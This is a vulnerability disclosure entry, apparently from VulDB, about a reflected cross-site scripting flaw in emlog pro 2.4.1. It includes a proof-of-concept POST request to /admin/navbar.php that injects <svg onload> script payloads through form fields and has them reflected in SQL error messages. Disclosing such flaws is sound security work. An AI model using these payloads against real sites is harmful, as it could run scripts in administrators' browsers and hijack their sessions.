提出 #462477: emlog emlog pro 2.4.1 Cross-Site Scripting (XSS)情報

タイトルemlog emlog pro 2.4.1 Cross-Site Scripting (XSS)
説明Summary A reflected Cross Site Scripting (XSS) vulnerability exists in emlog pro 2.4.1 due to improper sanitization of the $msg parameter in /include/lib/common.php. Details This vulnerability can be exploited by an attacker to inject malicious scripts into the web application, which can then be executed in the browsers of other users. The vulnerability stems from improper filtering of SQL statement error messages in $msg. image POC For example, in the /admin/navbar.php file, newtab expects data of integer type, and if it receives data of string type, it triggers an error. The error message can contain the entire SQL statement, and a reflective XSS vulnerability can occur if the SQL statement contains any field that accepts the data passed in by the user. In the example, the parameter naviname and url incoming fields are represented in the SQL statement. POST /admin/navbar.php?action=add HTTP/1.1 Host: target-ip Content-Length: 75 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: [admins'cookie] Connection: keep-alive naviname=<svg%20onload=alert(1)>&url=<svg%20onload=alert(2)>&pid=0&newtab=hebing123 image ps: Of course, newtab can trigger itself. Just assign it to <svg%20onload=alert(2)>
ソース⚠️ https://github.com/emlog/emlog/issues/306
ユーザー
 jiashenghe (UID 39445)
送信2024年12月13日 05:06 (2 年 ago)
モデレーション2024年12月20日 13:36 (7 days later)
ステータス承諾済み
VulDBエントリ289081 [Emlog Pro 迄 2.4.1 /include/lib/common.php msg クロスサイトスクリプティング]
ポイント20

Want to stay up to date on a daily basis?

Enable the mail alert feature now!